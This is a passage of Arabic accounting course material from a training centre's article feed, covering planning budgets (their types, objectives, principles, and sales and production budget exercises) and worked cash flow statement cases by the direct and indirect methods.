2 – الموازنة المالية:

“وهي توضح الخطة التمويلية للوحدة الاقتصادية، وتعتبر الترجمة المالية للموازنة العينية بإعطاء الأخيرة قيماً نقدية”.

3 – الموازنة النقدية:

“وهي توضح الوضع النقدي للوحدة الاقتصادية من خلال المقبوضات والمدفوعات النقدية للوحدة وما يترتب على ذلك من فائض أو عجز نقدي”.

 

 

 

 

رابعاً : أهدافها:

تهدف الموازنات التخطيطية إلى تحقيق الأهداف التالية:-

1 – الموازنة أداة للتخطيط:

يقصد بالتخطيط رسم الخطط للمستقبل في ضوء الأهداف التي ترغب الإدارة العليا للمشروع في تحقيقها وبحيث تكون في إطار الأهداف العامة للدولة، من هذا يتضح أن التخطيط يتطلب تنفيذ ثلاثة خطوات رئيسية هي:

أ ) تحديد الأهداف الرئيسية والأغراض الفرعية.

ب) تحديد الفروض الرئيسية التي يوقع عليها التخطيط وتشمل:

(فروض خارجية: مثل مدى الإقبال على منتجات المشروع – ظروف العرض والطلب – ظروف أسواق عوامل الإنتاج.. أرض، عمل، رأسمال، تنظيم).

(فروض داخلية: مثل قوة المركز المالي للمشروع، سياسة استحداث منتجات جديدة، سياسة شراء أصول رأسمالية جديدة).

ج) وضع البرامج اللازمة لتحقيق الأهداف المحددة مع مراعاة تعديل هذه البرامج لكي تتمشى مع ظروف التطبيق العملي وما ينجم عنها من صعوبات.

هذا ويمكن تقسيم الموازنات التخطيطية في ظل هدف التخطيط إلى:

* موازنات تخطيطية طويلة الأجل )  تغطي فترات ذات مدد

* موازنات تخطيطية قصيرة الأجل)  مختلفـــــــة

2 – الموازنة أداة للتنسيق:

يقصد بالتنسيق تمشي خطط أوجه النشاط المختلفة مع بعضها في انسجام وعن طريقها فإن جهود إدارات المشروع يجب أن تتوحد نحو تحقيق الأهداف الرئيسية والفرعية التي تضعها الإدارة العليا والتي تكون في إطار الأهداف العامة للدولة.

فمثلاً يجب أن يكون هناك تنسيق بين خطة المبيعات وخطة الإنتاج وإلا فإن إدارة المبيعات قد تتعاقد على بيع عدد كبير من الوحدات ليس في إمكان إدارة الإنتاج إنتاجها…

ونظراً لأن التنسيق يعتمد بدرجة كبيرة على وجود وسائل اتصال فعالة فإن الموازنات التخطيطية تلعب دوراً هاماً في مجال التنسيق حيث يمكن عن طريقها إيصال خطط الإدارة العليا إلى القائمين بالتنفيذ، لأنه من الضروري أن يعرف كل أعضاء الإدارة الخطط والعمليات والتوقيت اللازم لها والأفراد القائمين بالتنفيذ مما يتطلب توزيع الموازنة على كل أعضاء الإدارة قبل البدء في التنفيذ.

3 – الموازنة أداة للرقابة:

يقصد بالرقابة تقييم الأداء وتصحيح الانحرافات وذلك بغرض التأكد من أن أهداف المشروع والخطط الموضوعة لتحقيقها قد أنجزت.

هذا وتلعب الموازنة التخطيطية دوراً هاماً في تحقيق عملية الرقابة وذلك من خلال:

أ ) وضع موازنات تخطيطية تفصيلية.

ب) تقييم الأداء الفعلي ومقارنته بالأداء المخطط.

ج) استخراج الانحرافات ثم تصحيحها، هذا وتنقسم الانحرافات إلى:

– المجموعة الأولى:

وتشمل انحرافات ترجع إلى عوامل داخلية في المشروع.. (مثل تعطل خط إنتاجي أو عدم تحقيق معدلات الكفاءة العالية…) وهذه الانحرافات يمكن إحكام رقابتها.

– المجموعة الثانية:

وتشمل انحرافات ترجع إلى عوامل خارجة عن المشروع… (مثل حدوث حروب وتأخر وصول المواد الخام من الخارج – إضراب عام للعمال من جانب العملاء على منتجات المشروع). وهذه الانحرافات من الصعب إحكام الرقابة عليها.

ويجب أن نلفت النظر إلى أن الرقابة باستخدام الموازنة جانبان:

1) الرقابة عند مرحلة التخطيط (الرقابة المانعة) – وقاية.

2) الرقاب عند مرحلة التنفيذ (الرقابة المصححة) – علاج.

خامساً : شروط إعدادها:

هناك شروط معينة يجب مراعاتها عند إعداد الموازنات التخطيطية نوجزها فيما يلي:-

  • يجب أن نميز بين التكاليف الجارية والتكوين الرأسمالي عند إعداد الموازنات، حيث تكون هناك موازنة جارية وأخرى رأسمالية.
  • يجب أن نميز بين مراكز التكلفة عند إعداد الموازنات باعتبار أن هناك العديد من مراكز التكلفة (مراكز الإنتاج – مراكز الخدمات الإنتاجية “صيانة/قوى محركة” – مراكز الخدمات التسويقية – مراكز الخدمات الإدارية والتمويلية – مراكز العمليات الرأسمالية).
  • يجب أن نميز بين الموازنات التخطيطية حسب نوعها، فهناك الموازنات العينية وهناك الموازنات المالية وهناك الموازنات النقدية.
  • يجب أن نميز بين الموازنات التخطيطية على أساس فترة الموازنة .. فهناك موازنات سنوية وموازنات ربع سنوية وموازنات شهرية.
  • يجب أن تلتزم المنشآت المختلفة بتوزيع الموازنات السنوية جغرافياً على الفروع التي تزاول جانباً من نشاطها الاقتصادي الرئيسي.
  • يجب أن تلتزم المنشأة عند إعداد الموازنات التخطيطية بنماذج معينة روعي ي تصميمها أن تخدم أهداف (التخطيط – التنسيق – الرقابة).. إلا أنه يمكن للمنشأة أن تضيف نماذج وأشكال جديدة تخدم الأهداف السابقة على جميع المستويات الإدارية العليا – التنفيذية – الدنيا.

سادساً – الجوانب السلوكية في إعداد الموازنات التخطيطية:

يجب مراعاة المفاهيم والاعتبارات السلوكية التالية عند إعداد الموازنات التخطيطية:-

  • يجب مراعاة “الدوافع الإنسانية” عند إعداد الموازنات التخطيطية من خلال الاتصال بالعاملين في المنشأة ومعرفة رغباتهم ودوافعهم ومحاولة إشباع هذه الرغبات وتلك الدوافع عند إعداد الموازنة.. وهذه المشاركة سوف ينتج عنها إيجاد الرغبة لدى هؤلاء العاملين أنفسهم في قبول الوازنة وعدم الوقوف أمام تحقيق أهدافها بل على العكس سوف تشير فيهم ا لبواعث التي تنشطهم لبذل أكبر قدر من الطاقة في سبيل تحقيق الموازنة وتنفيذها.
  • يجب دراسة وتحليل حاجات العاملين في المنشأة بهدف الوقوف على مدى “إدراكهم للموازنات” باعتبار أن مدة إدراك العامل للموازنة يؤثر بدرجة كبيرة على مدى استجابته لها .. فإذا قام شخص بأداء حركات معينة دون أن يدرك الهدف منها فإنه سوف يصاب بالملل بعد فترة من الوقت أما إذا علم وأدرك الهدف من هذه الحركات فقد يتقن أدائها ويقوم بها على خير وجه.
  • يجب مراعاة “معدلات الأداء الجماعي” في المنشأة ككل مع دراستها وتحليلها باعتبار أن الفرد في المنشأة يتصرف بوحي من روح الجماعة فهو يأتمر بأمرها ويمتثل لتوجيهاتها ومن ثم يجبب مراعاة الاتجاه الجماعي عند إعداد الموازنات التخطيطية في أي منشأة.
  • يجب الاستفادة من خبرة ودراسة المستويات الإدارية التنفيذية في “المشاركة” في إعداد الموازنات التخطيطية باعتبار أنه غالباً ما يعزي فشل التخطيط المعد بواسطة المديرين إلى نقص في المعلومات المتعلقة بالمشروع.. فقد تجد في بعض المشروعات أن المديرين في قمة السلم الوظيفي ملمين بالأهداف الرئيسية للمشروع والمرؤسين في المستويات الدنيا للمشروع على دراسة بواجباتهم اليومية في حين أن المسئولين في المستويات الإدارية الوسطى (التنفيذية) ليسوا على دراية كافية بربط أهداف أقسامهم الفرعية بأهداف المشرع الرئيسية.

ومما لا شك فيه أن مراعاة المشاركة في إعداد الموازنة من جانب الإدارة التنفيذية من شأنه:

أ) رفع الروح المعنوية للأفراد المشاركين.

ب) تثير في النفوس الأفراد أهمية التعاون فيما بينهم وبين الإدارات المختلفة بالمنشأة.

ج) إلمام الأفراد بأهداف الموازنة من شأنه أن يقلل من اعتراضهم على تنفيذها.

د) أسوأ شيء على الروح المعنوية لأفراد المستويات الدنيا هو جهلهم بمستقبل المشروع الذي يعمون فيه وترتبط حياتهم وحياة أسرتهم باستمراره.

  • يجب البعد عن الأساليب البوليسية “لتعقب الأخطاء” والالتجاء إلى أساليب الرقابة من وجهة نظر المنفذين للموازنة في المستويات التنفيذية.
  • يجب مراعاة “السرعة في التعرف على نتائج الأداء” في المشروع وذلك حتى يمكن تحاشي الأخطاء أولاً بأول، مما يضفي نوعاً من الرضا على المنفذين للموازنات إذا ما لاحظوا أن الأخطاء الناجمة عن التطبيق الفعلي يتم تلافيها أولاً بأول.

يجب مراعاة فهم المرسل إليه (المنفذون) لمحتويات الرسالة (الموازنة) بالطريقة التي يبغيها الراسل (معد الموازنة) من خلال تسهيل الرموز المستخدمة في ظل المعلومات الرقابية.

سابعاً : مراحل إعداد الموازنات التخطيطية:

يمر إعداد الموازنات التخطيطية بالعديد من المراحل نوجزها فيما يلي:-

1 – مرحلة تحديد الأهداف والسياسات العامة:-

وفي هذه المرحلة يقوم معدي الموازنات بتحديد الأهداف الخاصة بالوحدة الاقتصادية التي تتمثل في تحقيق أفضل استخدام للموارد المتاحة من أجل تحقيق ما يخص المشروع من خطة التنمية الاقتصادية الشاملة للدولة مع تحديد السياسات التي تحقق هذا الهدف.

2 – مرحلة إعداد القوائم التقديرية التفصيلية:

وفي هذه المرحلة يقوم كل مشرف مسئول في مستويات الإدارة التنفيذية بإعداد التقديرات عن الاستخدامات والموارد التي يعتبر مسئولاً عنها ويتم مناقشة هذه التقديرات والتصديق عليها بمعرفة الرئيس المباشر ثم يتم جمع هذه التقديرات لكي ترفع إلى الإدارة العليا للمنشأة.

3 – مرحلة التنسيق بين الخطط التفصيلية:

وفي هذه المرحلة يحاول معد الموازنة التخطيطية التنسيق بين القوائم التقديرية المرفوعة إليه من الإدارات التنفيذية وذلك لكي يحاول التوفيق بينها، حتى يمكنه التعرف على الاختناقات التي قد تنشأ نتيجة لعدم تحقيق التوازن بين أوجه النشاط المختلفة في المشروع.

4 – مرحلة اعتماد الموازنة التخطيطية واستخدامها كمرشد في التنفيذ:

بعد إعداد الموازنات التخطيطية التقديرية التفصيلية وبعد مراجعتها يتم اعتمادها والتصديق عليها، وبعد اعتمادها من جانب الإدارة العليا للمشروع فإنها تعتبر بمثابة إشارة للبدء في تنفيذ البرنامج المرسوم خلال فترة الموازنة، ومن ثم يمكن استخدامها كمرشد في التنفيذ وكذلك أداة للرقابة وتقييم الأداء في المنشأة.

ثامناً : أهم المبادئ الواجب مراعاتها عند إعداد الموازنات التخطيطية:

هناك العديد من المبادئ الواجب مراعاتها عند إعداد الموازنات التخطيطية نوجزها فيما يلي:

 

1 – مبدأ الشمول:

ويقصد به أن تشمل الموازنة التخطيطية جميع أوجه النشاط في الوحدة الاقتصادية سواء من الناحية الوظيفية (إنتاج – بيع – تخزين..) أو من الناحية التنظيمية (أقسام – إدارات- مراكز..).

 

2 – مبدأ الارتباط:

ويصد به أنه كلما كانت تقديرات الموازنة مرتبطة بمراكز المسئولية كلما كانت الرقابة عليها أكثر فعالية، وذلك لتحديد مسئولية كل فرد في التنظيم.

 

3 – مبدأ المشاركة:

ويقصد به أن يساهم جميع أفراد المنشأة في المستويات الإدارية المختلفة مساهمة إيجابية في وضع الأهداف ورسم السياسات طالما كانوا مسئولين عن تنفيذ الموازنة، لأنهم أقدر من غيرهم على تحديد نقاط الاختناق في المشروع وكيفية تلافيها.

4 – مبدأ الفترية:

ويعني تقسيم الموازنة إلى فترات زمنية (شهرية – ربع سنوية – سنوية) لكي يسهل إجراء المقارنات أولاً بأول لمعالجة الانحرافات وكلما كانت الفترات قريبة كلما كان ذلك أفضل في سرعة العلاج.

 

5 – مبدأ المرونة:

ويعني إمكانية إدخال تعديلات على الموازنة عن طريق وضع الخطط البديلة أو عن طريق ربط تقديرات الموازنة بعدم مستويات متوقعة لحجم النشاط.

 

الموازنة الشاملة (أو الرئيسية)

Comprehensive Budget

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

                                                               

 

 

  • هي نقطة البداية في إعداد الموازنة الشاملة (أو الرئيسية) في الشركة، لأن حجم المبيعات المقدرة يؤثر تأثيراً مباشراً على جميع العناصر والبنود الأخرى في الموازنة الشاملة.
توضح موازنة المبيعات “الكمية” المتوقع بيعها منكل منتج … وهذا يسمح لجميع أقسام الشركة بتخطيط احتياجاتها

 

 

 

 

 

 

  • بعد أن يتم تقدير كمية المبيعات يتم ضربها في سعر البيع المتوقع للوحدة فتحصل على موازنة المبيعات.

 

تمرين :

قامت شركتك بالتنبؤ بكميات المبيعات خلال السنة القادمة فكانت 3200 وحدة … وتم توزيعها على أساس خطط ربح سنوية، فكانت كما يلي: 800 وحدة في  الربع الأول، 700 وحدة في الربع الثاني، 900 وحدة في الربع الثالث، 80 وحدة في الربع الرابع، وكان سعر البيع المتوقع 80جم للوحدة، المطلوب منك تصوير موازنة المبيعات للشركة.

 

إرشادات الحل:

استوف بيانات الجدول التالي:

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
كمية المبيعات   00000 00000 00 00
سعر بيع الوحدة × × × × ×
——– —– —– —– —– —–
إجمالي المبيعات 000000 000000 000000 000000 000000

 

 

 

 

  • ويقصد بها تحديد عدد الوحدات الواجب تصنيعها لمقابلة أرقام المبيعات الواردة في موازنة المبيعات وكذلك أرقام المخزون المطلوب الاحتفاظ بها في نهاية السنة.
  • ويتم حساب هذه الوحدات من المعادلة التالية
××× عدد الوحدات المخطط بيعها
(+) ×× المخزون المرغوب الاحتفاظ به (نهاية المدة)
——
××× إجمالي الاحتياجات
(-) ×× مخزون بداية الفترة
——
××× عدد الوحدات المطلوب إنتاجها

 

 

 

 

تمرين :

المطلوب إعداد موازنة الإنتاج لشركتك في ضوء المعلومات التالية:

  • استخدام بيانات موازنة المبيعات السابقة.
  • مخزون نهاية المدة في كل ربع سنة يساوي 10% من مبيعات الربع التالي له مباشرة.
  • مخزون نهاية المدة للربع الأخير من السنة تم حسابه برقم تقديري 100 وحدة.
  • مخزون أول المدة لبداية الربع الأول 80 وحدة.

 

 

إرشادات الحل:

استوف بيانات الجدول التالي:

بيـــان الخطط الربع سنوية إجمالي السنة
الربع الأول الربع الثاني الربع الثالث الربع الرابع
عدد الوحدات المباعة 800 700 900 800 3200
(+) مخزون نهاية الفترة 000 0 0 0 100 100
————– —– —– —– —– —–
إجمالي الاحتياجات 0 000000 000000 000000 000
(-) مخزون أول الفترة 80 000000 00 0 0
————– —– —– —– —– —–
عد الوحدات المطلوب إنتاجها 000000 000000 000000 000000 000000

 

 

 

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي للموازنات التخطيطية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -الموازنات التخطيطية- بقلم أ. د/ سيف الإسلام- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/planning_budgets-1/feed/ 0 سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الرابعة https://cameknowledge.camecenter.com/articles/cash_flow_management-4/ https://cameknowledge.camecenter.com/articles/cash_flow_management-4/#respond Sat, 15 Apr 2023 12:58:04 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10483 سلسلة مقالات – إدارة السيولة النقدية بقلم أ . د/ سيف الإسلام المقالة الرابعة قائمة التدفقات النقدية عن عام 2005   1- التدفقات النقدية من الأنشطة التشغيلية : أ-تدفقات نقدية داخلة: متحصلات من مبيعات نقدية 340 متحصلات من العملاء 60 400 ب-تدفقات نقدية خارجة: مشتريات بضاعة نقداً 260 مدفوعات للأجور ومصروفات التشغيل الأخرى 90 (350) […]

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة السيولة النقدية

بقلم أ . د/ سيف الإسلام

المقالة الرابعة

قائمة التدفقات النقدية عن عام 2005

 

1- التدفقات النقدية من الأنشطة التشغيلية :
أ-تدفقات نقدية داخلة:
متحصلات من مبيعات نقدية 340
متحصلات من العملاء 60
400
ب-تدفقات نقدية خارجة:
مشتريات بضاعة نقداً 260
مدفوعات للأجور ومصروفات التشغيل الأخرى 90
(350)
صافي التدفقات النقدية من الأنشطة التشغيلية 50
2-التدفقات النقدية من الأنشطة الاستثمارية:
أ-تدفقات نقدية داخلة:
متحصلات من بيع أراضي 50
متحصلات من بيع أصول ثابتة أخرى 40
90
ب-تدفقات نقدية خارجة:
مدفوعات لشراء آلات معدات 80
مدفوعات لشراء استثمارات مالية 30
(110)
صافي التدفقات النقدية من الأنشطة الاستثمارية (20)
3-التدفقات النقدية من الأنشطة التمويلية:
أ-تدفقات نقدية داخلة:
منحصلات من إصدار أسهم جديدة 200
متحصلات من إصدار سندات 50
250
ب-تدفقات نقدية خارجة :
شراء أسهم خزانة 20
توزيعات نقدية على المساهمين 30
(50)
صافي التدفقات النقدية من الأنشطة التمويلية 200
صافي التدفقات النقدية 230
+ رصيد النقدية أول الفترة 70
= رصيد النقدية أخر الفترة 300

حالة عملية (2): فيما يلي قائمة الدخل لإحدى الشركات عن السنة المالية المنتهية في 31/12/2005 ، وبعض الأرصدة المستخرجة من ميزانيتي الشركة في 31/12/2004 ، 31/12/2005 :

أولاًُ: قائمة الدخل عن السنة المنتهية في 31/12/2005:

20000 المبيعات
– ت. المبيعات :
4000 ت. المخزون السلعي أول الفترة
18000 + المشتريات
(5000) – ت. المخزون السلعي آخر الفترة
(17000) = ت. المبيعات
3000 مجمل الربح
يطرح منه:
3000 أجور ومرتبات
2000 فوائد مدينة
4000 مصروفات أخرى
1000 إهلاكات
2000 مخصصات بخلاف الإهلاك
(12000)
يضاف إليه:
8000 إيرادات أ. مالية
2000 إعانة تشغيلية
2500 فوائد ودائع بالبنوك
2500 إيرادات أخرى
5000 مخصصات انتقى الغرض منها
20000
11000 صافي الربح

ثانياً: بعض الأرصدة المستخرجة من ميزانتي الشركة في 31/12/2004،  31/12/2005:

الأرصدة الميزانية في 1/12/2004 الميزانية في 31/12/2005
المخزون السلعي 4000 5000
عملاء (مدينون) 2000 3000
موردون (دائنون) 4000 3500
إيرادات أوراق مالية مستحقة 500 700
فوائد ودائع مستحقة – 500
أجور مستحقة 2500 2000
إيرادات أخرى مقدمة 2000 1500
فوائد مدينة مستحقة – 200

المطلوب :

  • إعداد قائمة التدفقات النقدية لأنشطة التشغيل طبقا للطريقة المباشرة.
  • إعداد قائمة التدفقات النقدية لأنشطة التشغيل طبقا للطريقة غير المباشرة.

1- الطريقة المباشرة لإعداد قائمة التدفقات النقدية :

طبقاً لهذه الطريقة تحول كافة الإيرادات والمصروفات المدرجة بقائمة الدخل إلي تدفقات نقدية، أي التحويل من أساس الاستحقاق إلي الأساس النقدي، مع ملاحظة انه يتم  استبعاد البنود غير النقدية.

وتمتثل إجراءات إعداد قائمة التدفقات النقدية بالطريقة المباشرة فيما يلي :

  • إعداد قائمة الدخل وقائمة المركز المالي وذلك طبقا لأساس الاستحقاق.
  • تقدير قيم التدفقات النقدية الداخلة والخارجة عن طريق الربط بين عناصر قائمة الدخل وعناصر قائمة المركز المالي.
  • يتم الوصول للتدفقات النقدية كما يلي:

أ-متحصلات نقدية من المبيعات والعملاء وتحسب كما يلي:

المبيعات ××
+ رصيد العملاء أول الفترة ××
– رصيد العملاء أخر الفترة (××)

ب-مدفوعات نقدية للمشتريات وللموردين وتحسب كما يلي :

المشتريات ××
+ رصيد الموردين أول الفترة ××
– رصيد الموردين أخر الفترة (××)

ج-الإيرادات المحصلة نقداً أو تحسب كما يلي :

الإيرادات التي تخص الفترة ××
+ الإيرادات المستحقة أول الفترة ××
+ الإيرادات المحصلة مقدماً أخر الفترة ××
– الإيرادات المستحقة أخر الفترة (××)
– الإيرادات المحصلة مقدماً أول الفترة (××)

د-المصروفات المدفوعة نقداً وتحسب كما يلي :

المصروفات التي تخص الفترة ××
+ المصروفات المستحقة أول الفترة ××
+ المصروفات المدفوعة مقدماً أخر الفترة ××
– المصروفات المستحقة أخر الفترة (××)
– المصروفات المدفوعة مقدماً أول الفترة (××)

 

 

جدول تحديد التدفقات النقدية من الأنشطة التشغيلية (طبقا للطريقة المباشرة) :

البيان أساس الاستحقاق الإضافة الخصم التدفقات النقدية
أولاًُ: المتحصلات النقدية :
متحصلات من المبيعات والعملاء 20000 2000 (3000) (19000)
إيرادات أوراق مالية 8000 500 (700) 7800
إعانة تشغيلية 2000 – – 2000
فوائد ودائع بالبنوك 2500 – (500) 2000
إيرادات أخرى 2500 1500 (2000) 2000
ثانياً: المدفوعات النقدية:
مشتريات 18000 4000 (3500) 18500
أجور مرتبات 3000 2500 (2000) 3500
فوائد مدينة 2000 – (200) 1800
مصروفات أخرى 4000 – – 4000

 

قائمة التدفقات النقدية للأنشطة التشغيلية:

 

(أ) المتحصلات النقدية (تدفقات نقدية داخلة) :
متحصلات نقدية من المبيعات والعملاء 19000
متحصلات من إيرادات أوراق مالية 7800
متحصلات من الإعانة التشغيلية 2000
متحصلات من فوائد الودائع 2000
متحصلات من إيرادات أخرى 2000
32800
ب-المدفوعات النقدية (تدفقات نقدية خارجة:)
مدفوعات نقدية للمشتريات والموردين 18500
مدفوعات نقدية عن أجور ومرتبات 3500
مدفوعات نقدية عن فوائد مدنية 1800
مدفوعات نقدية عن مصروفات أخرى 4000
(27800)
صافي التدفقات النقدية من الأنشطة التشغيلية 5000

 

2- الطريقة غير المباشرة لأعداد قائمة التدفقات النقدية :

طبقاً لهذه الطريقة يتم الاعتماد على صافي الربح المحاسبى (الذي تم الوصول إليها باستخدام أساس الاستحقاق) ثم يتم تعديل رقم صافي الربح المحاسبي.

وتتمثل إجراءات إعداد قائمة التدفقات النقدية بالطريقة غير المباشرة فيما يلي:

  • إعداد القوائم المالية (قائمة الدخل وقائمة المركز المالي) وذلك طبقا لأساس الاستحقاق.
  • تحديد رقم صافي الربح المحاسبي.
  • تعديل (تسوية) رقم صافي الربح المحاسبي بما يلي:

رقم صافي الربح المحاسبي                                              ××

أ- التغيرات في أرصدة الأصول والخصوم المتداولة غير النقدية

+ أي نقص في الأصول أو زيادة في الخصوم المتداولة غير النقدية             ×

– أي زيادة في الأصول أو نقص في الخصوم المتداولة غير النقدية          (×)

ب- البنود غير النقدية :

+ المصروفات والأعباء غير النقدية (مثل الإهلاك والمخصصات)        ×

– الإيرادات والأرباح غير النقدية (مثل مخصصات انتفى الغرض منها)     (×)

ج- البنود التي تؤثر على صافي الربح ولا تدخل ضمن التدفقات النقدية التشغيلية:

+ خسائر بيع أصول ثابتة أو استثمارات مالية                                 ×

– أرباح بيع أصول ثابتة واستثمارات مالية                              (×)

= صافي التدفقات النقدية من الأنشطة التشغيلية                                   ××

 

جدول تحديد التدفقات النقدية من الأنشطة التشغيلية(طبقاً للطريقة غير المباشرة)

صافي الربح المحاسبي طبقا لأساسي الاستحقاق 11000
أ- التغيرات في أرصدة الأصول والخصوم المتداولة غير النقدية:
يضاف إليه : أى نقص فى الأصول أو زيادة فى الخصوم  المتداولة غير النقدية:
فوائد مدينة مستحقة ( زيادة فى الخصوم) 200
يخصم منه : أى زيادة فى الأصول أو نقص فى الخصوم المتداولة غير النقدية:
مخزون سلعى ( زيادة الأصول) (1000)
عملاء مدينون ( زيادة الأصول) (1000)
ايرادات أوراق مالية مستحقة ( زيادة الأصول) (200)
فوائد ودائع مستحقة ( زيادة الأصول) (500)
موردن ودائنون ( نقص فى الخصوم) (500)
أجور مستحقة ( نقص فى الخصوم) (500)
إيرادات آخرى مقدمة ( نقص فى الخصوم) (500)
  (4000)
ب- البنود غير النقدية:
يضاف إليه: المصروفات والأعباء غير النقدية:
الأهلاك 1000
مخصصات بخلاف الأهلاك 2000
يخصم منه: الإيرادات والأرباح غير النقدية:
مخصصات انتهي الغرض منها (5000)
  (2000)
صافى التدفقات النقدية من النشاط التشغيلى 5000

حالة عملية (3) : البيانات التالية تتعلق بأرصدة بعض الحسابات المستخرجة من دفاتر وسجلات إحدى شركات القطاع العام التى تمارس نشاطاً تجارياً عن السنة المالية المنهية فى 30/6/2005   (بالألف الجنيهات):

أولاً : بيانات تتعلق بعناصر قائمة الدخل :

الإيرادات والأرباح : صافى مبيعات بضاعة مشتراة بغرض البيع 15000، إيرادات النشاط الأخرى 250، إيرادات استثمارات مالية 1000، منح وإعانات 200، مخصصات انتفى الغرض منها 80، إيرادات وأرباح متنوعة 140، أرباح بيع أصول ثابتة 200، فوائد دائنة 350، إيرادات وأرباح غير عادية 30، إيرادات سنوات سابقة20.

التكاليف والمصروفات : مشتريات بضائع بغرض البيع 8000، مصروفات البيع والتوزيع (عدا الإهلاك) 1200، المصروفات الإدارية ( عدا الإهلاك ) 820، مخصصات ( بخلاف الأهلاك) 250، الإهلاكات 150، ديون معدومة 80، خسائر بيع أوراق مالية 40، فوائد مدينة 130، مصروفات أخرى 60، ضرائب الدخل 90.

ثانياً : يبانات تتعلق ببعض أرصدة قائمة المركز المالى.

بيان 30/6/2004 30/6/2005
مدينون (عملاء وأوراق قبض) 4500 5000
دائنون (موردون وأوراق دفع) 3800 4000
مخزون بضائع بغرض البيع 3000 4150
مصروفات بيع وتوزيع مدفوعة مقدماً 200 250
فوائد دائنة مستحقة 250 200
فوائد مدينة مستحقة 40 30
إيرادات وأرباح متنوعة محصلة مقدماً 50 60
ضرائب على الدخل مستحقة 40 50

المطلوب: إعداد قائمة التدفقات النقدية المتعلقة بأنشطة التشغيل:

  • باستخدام الطريقة المباشرة.
  • باستخدام الطريقة غير المباشرة.

علماً بأن صافي الربح المحقق خلال العام المنتهي في 30/6/2005 قدره 7600 ألف جنيه.

1- الطريقة المباشرة لإعداد التدفقات النقدية المتعلقة بأنشطة التشغيل:

تحديد التدفقات النقدية من الأنشطة التشغيلية (طبقاً للطريقة المباشرة):

بيان أساس الاستحقاق الإضافة الخصم التدفقات النقدية
أولاً: المتحصلات النقدية
صافي مبيعات بضائع بغرض البيع 15000 4500 500 14500
إيرادات النشاط الأخرى 250 – – 250
إيرادات استثمارات مالية 1000 – – 1000
منح وإعانات 200 – – 200
إيرادات وأرباح متنوعة 140 60 (50) 150
فوائد دائنة 350 250 (200) 400
إيرادات وأرباح غير عادية 30 – – 30
إيرادات سنوات سابقة 20 – – 20
إجمالي المتحصلات النقدية 16550
ثانياً: المدفوعات النقدية
مدفوعات للموردين وأوراق الدفع 8000 3800 (4000) 7800
مصروفات البيع والتوزيع 1200 250 (200) 1250
المصروفات الإدارية 820 – – 820
فوائد مدنية 130 40 (30) 140
مصروفات أخرى 60 – – 60
ضرائب الدخل 90 40 (50) 80
إجمالي المدفوعات النقدية 10150
صافي التدفقات النقدية من أنشطة التشغيل 6400

 

 

ملاحظة: عند إعداد قائمة التدفقات النقدية المتعلقة بأنشطة التشغيل طبقاً للطريقة المباشرة تم استبعاد البنود التي لا يتولد عنها تدفقات نقدية داخلة أو خارجة، وذلك مثل: مخصصات أنتفى الغرض منها، الإهلاكات، المخصصات (بخلاف الإهلاك)،  الديون المعدومة. كما تم استبعاد البنود التي لا تتعلق بأنشطة التشغيل، وذلك مثل أرباح بيع أصول ثابتة، خسائر بيع أوراق مالية.

 

2– الطريقة غير المباشرة لإعداد التدفقات النقدية المتعلقة بأنشطة التشغيل:

يتطلب تطبيق هذه الطريقة تعديل  صافي الربح المحقق خلال الفترة بما يلي:

(أ) التغيرات التي حدثت خلال الفترة في أرصدة الأصول والخصوم المتداولة غير النقدية.

(ب) البنود التي أضيفت أو خصمت من الإيراد ولكنها لا تمثل تدفقات نقدية داخلة أو خارجة مثل مخصصات الإهلاك، المخصصات الأخرى (بخلاف الإهلاك)، مخصصات أنتفى الغرض منها، الديون المعدومة، أرباح (خسائر) تقييم العملات الأجنبية……….. وغيرها.

(ج) البنود الأخرى التي تؤثر على صافي الربح والتي يكون أثرها النقدى متعلق بالتدفقات النقدية من أنشطة الاستثمار والتمويل، مثل: أرباح (خسائر) بيع أصول ثابتة، أرباح (خسائر) استثمارات مالية.

وعلى ذلك يتم ما يلي:

1- تحديد التغيرات التي طرأت على أرصدة الأصول والخصوم المتداولة غير النقدية خلال الفترة على النحو التالي:

جدول التغيرات في قيم الأصول والخصوم المتداولة غير النقدية خلال الفترة (بالألف جنية):

البند رصيد أول الفترة رصيد أخر الفترة التغير الأثر على التدفق النقدى
مدينون (عملاء أوراق قبض) 4500 5000 + أصل – 500
دائنون (موردون وأوراق دفع) 3800 4000 + خصوم +200
مخزون بضائع بغرض البيع 3000 4150 + أصل – 1150
مصروفات بيع وتوزيع مدفوعة مقدماً 200 250 + أصل -50
فوائد دائنة مستحقة 250 200 – أصل +50
فوائد مدينة مستحقة 40 30 – خصوم -10
إيرادات وأرباح متنوعة محصلة مقدماً 50 60 + خصوم +10
ضرائب على الدخل مستحقة 40 50 + خصوم +10

ملاحظة: أثر التغير في أرصدة الأصول والخصوم المتداولة غير النقدية يكون على النحو التالي:

  • النقص في أرصدة الأصول المتداولة غير النقدية والزيادة في أرصدة الخصوم المتداولة غير النقدية يؤدي إلى زيادة النقدية.
  • الزيادة في أرصدة الأصول المتداولة غير النقدية، والنقص في أرصدة الخصوم المتداولة غير النقدية يؤدي الى نقص النقدية.

 

2- إعداد قائمة التدفقات النقدية المتعلقة بأنشطة التشغيل (بالألف الجنيهات):

